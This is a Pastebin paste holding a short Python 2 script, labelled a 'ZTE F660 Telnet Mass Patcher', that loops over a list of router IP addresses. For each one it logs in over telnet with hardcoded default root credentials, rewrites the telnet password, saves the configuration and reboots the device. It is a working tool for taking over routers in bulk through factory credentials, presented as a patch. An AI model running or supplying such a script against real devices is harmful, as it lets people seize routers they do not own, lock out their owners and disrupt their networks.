Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import telnetlib
- print '''ZTE F660 Telnet Mass Patcher
- //Indonesian Backtrack Team
- //Dompu-Linuxer.org
- //Aiden_'''
- iplist = '''127.0.0.1'''
- iplist = iplist.split()
- for ipx in iplist:
- try:
- tn = telnetlib.Telnet(ipx, None, 13)
- tn.read_until("Login: ")
- tn.write("root\n")
- tn.read_until("Password: ")
- tn.write("Zte521\n")
- tn.write("sendcmd 1 DB set TelnetCfg 0 TS_UPwd ztepasswd\n")
- #tn.write("sendcmd 1 DB set TelnetCfg 0 TS_Enable 0\n")
- tn.write("sendcmd 1 DB save\n")
- tn.write("reboot\n")
- #tn.write("exit\n")
- print tn.read_all()
- print ipx,'[Patched Done]'
- except Exception, e:
- print e
- print ipx, 'Already Patched !!'
- continue
Advertisement
Add Comment
Please, Sign In to add comment